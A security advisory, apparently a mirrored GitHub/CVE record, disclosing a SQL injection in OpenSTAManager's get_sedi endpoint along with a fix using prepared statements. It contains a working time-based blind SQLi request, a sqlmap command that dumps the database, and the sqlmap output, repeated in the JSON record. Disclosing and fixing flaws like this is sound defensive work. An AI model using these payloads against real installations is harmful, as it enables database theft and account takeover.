GHSA-W995-FF8H-RPPG

Vulnerability from github – Published: 2026-02-03 18:44 – Updated: 2026-02-18 23:41
VLAI
Summary
OpenSTAManager has a SQL Injection in ajax_complete.php (get_sedi endpoint)
Details

Summary

A SQL Injection vulnerability exists in the ajax_complete.php endpoint when handling the get_sedi operation. An authenticated attacker can inject malicious SQL code through the idanagrafica parameter, leading to unauthorized database access.

Proof of Concept

Vulnerable Code

File: modules/anagrafiche/ajax/complete.php:28

case 'get_sedi':
    $idanagrafica = get('idanagrafica');
    $q = "SELECT id, CONCAT_WS( ' - ', nomesede, citta ) AS descrizione 
          FROM an_sedi 
          WHERE idanagrafica='".$idanagrafica."' ...";
    $rs = $dbo->fetchArray($q);

Data Flow

  1. Source: $_GET['idanagrafica'] → get('idanagrafica')
  2. Vulnerable: User input concatenated directly into SQL query with single quotes
  3. Sink: $dbo->fetchArray($q) executes the malicious query

Exploit

Manual PoC (Time-based Blind SQLi):

GET /ajax_complete.php?op=get_sedi&idanagrafica=1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1 HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=<valid-session>

image

SQLMap Exploitation:

sqlmap -u "http://localhost:8081/ajax_complete.php?op=get_sedi&idanagrafica=1*" \
  --cookie="PHPSESSID=<session>" \
  --dbms=MySQL \
  --technique=T \
  --level=3 \
  --dump

SQLMap Output:

[INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
Parameter: #1* (URI)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: idanagrafica=1' AND (SELECT 2572 FROM (SELECT(SLEEP(5)))oOnc)-- rhVF
back-end DBMS: MySQL >= 5.0.12

image

Impact

  • Data Exfiltration: Complete database extraction including user credentials, customer data, financial records
  • Privilege Escalation: Modification of zz_users table to gain admin access
  • Data Integrity: Unauthorized modification or deletion of records
  • Potential RCE: Via SELECT ... INTO OUTFILE if file permissions allow

Affected Versions

  • OpenSTAManager: Verified in latest version (as of December 2025)
  • All versions using this endpoint are likely affected

Remediation

Replace direct concatenation with prepared statements:

Before:

$idanagrafica = get('idanagrafica');
$q = "SELECT ... WHERE idanagrafica='".$idanagrafica."' ...";

After:

$idanagrafica = get('idanagrafica');
$q = "SELECT ... WHERE idanagrafica=".prepare($idanagrafica)." ...";

Credit

Discovered by: Łukasz Rybak

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "devcode-it/openstamanager"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.9.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-69213"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-03T18:44:17Z",
    "nvd_published_at": "2026-02-04T18:16:07Z",
    "severity": "HIGH"
  },
  "details": "## Summary\nA SQL Injection vulnerability exists in the `ajax_complete.php` endpoint when handling the `get_sedi` operation. An authenticated attacker can inject malicious SQL code through the `idanagrafica` parameter, leading to unauthorized database access.\n\n\n## Proof of Concept\n\n### Vulnerable Code\n**File:** `modules/anagrafiche/ajax/complete.php:28`\n\n```php\ncase \u0027get_sedi\u0027:\n    $idanagrafica = get(\u0027idanagrafica\u0027);\n    $q = \"SELECT id, CONCAT_WS( \u0027 - \u0027, nomesede, citta ) AS descrizione \n          FROM an_sedi \n          WHERE idanagrafica=\u0027\".$idanagrafica.\"\u0027 ...\";\n    $rs = $dbo-\u003efetchArray($q);\n```\n\n### Data Flow\n1. **Source:** `$_GET[\u0027idanagrafica\u0027]` \u2192 `get(\u0027idanagrafica\u0027)`\n2. **Vulnerable:** User input concatenated directly into SQL query with single quotes\n3. **Sink:** `$dbo-\u003efetchArray($q)` executes the malicious query\n\n### Exploit\n\n**Manual PoC (Time-based Blind SQLi):**\n```http\nGET /ajax_complete.php?op=get_sedi\u0026idanagrafica=1\u0027 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND \u00271\u0027=\u00271 HTTP/1.1\nHost: localhost:8081\nCookie: PHPSESSID=\u003cvalid-session\u003e\n```\n\u003cimg width=\"1304\" height=\"580\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4ffcdacf-d56c-4a44-ad95-d6cecd0f05c8\" /\u003e\n\n**SQLMap Exploitation:**\n```bash\nsqlmap -u \"http://localhost:8081/ajax_complete.php?op=get_sedi\u0026idanagrafica=1*\" \\\n  --cookie=\"PHPSESSID=\u003csession\u003e\" \\\n  --dbms=MySQL \\\n  --technique=T \\\n  --level=3 \\\n  --dump\n```\n\n**SQLMap Output:**\n```\n[INFO] URI parameter \u0027#1*\u0027 appears to be \u0027MySQL \u003e= 5.0.12 AND time-based blind (query SLEEP)\u0027 injectable\nParameter: #1* (URI)\n    Type: time-based blind\n    Title: MySQL \u003e= 5.0.12 AND time-based blind (query SLEEP)\n    Payload: idanagrafica=1\u0027 AND (SELECT 2572 FROM (SELECT(SLEEP(5)))oOnc)-- rhVF\nback-end DBMS: MySQL \u003e= 5.0.12\n```\n\n\u003cimg width=\"1284\" height=\"745\" alt=\"image\" src=\"https://github.com/user-attachments/assets/5c640132-4f52-46bd-96fa-14d9987d4759\" /\u003e\n\n\n## Impact\n- **Data Exfiltration:** Complete database extraction including user credentials, customer data, financial records\n- **Privilege Escalation:** Modification of `zz_users` table to gain admin access\n- **Data Integrity:** Unauthorized modification or deletion of records\n- **Potential RCE:** Via `SELECT ... INTO OUTFILE` if file permissions allow\n\n## Affected Versions\n- OpenSTAManager: Verified in latest version (as of December 2025)\n- All versions using this endpoint are likely affected\n\n## Remediation\n\nReplace direct concatenation with prepared statements:\n\n**Before:**\n```php\n$idanagrafica = get(\u0027idanagrafica\u0027);\n$q = \"SELECT ... WHERE idanagrafica=\u0027\".$idanagrafica.\"\u0027 ...\";\n```\n\n**After:**\n```php\n$idanagrafica = get(\u0027idanagrafica\u0027);\n$q = \"SELECT ... WHERE idanagrafica=\".prepare($idanagrafica).\" ...\";\n```\n\n## Credit\nDiscovered by: \u0141ukasz Rybak",
  "id": "GHSA-w995-ff8h-rppg",
  "modified": "2026-02-18T23:41:04Z",
  "published": "2026-02-03T18:44:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/devcode-it/openstamanager/security/advisories/GHSA-w995-ff8h-rppg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69213"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/devcode-it/openstamanager"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenSTAManager has a SQL Injection in ajax_complete.php (get_sedi endpoint)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…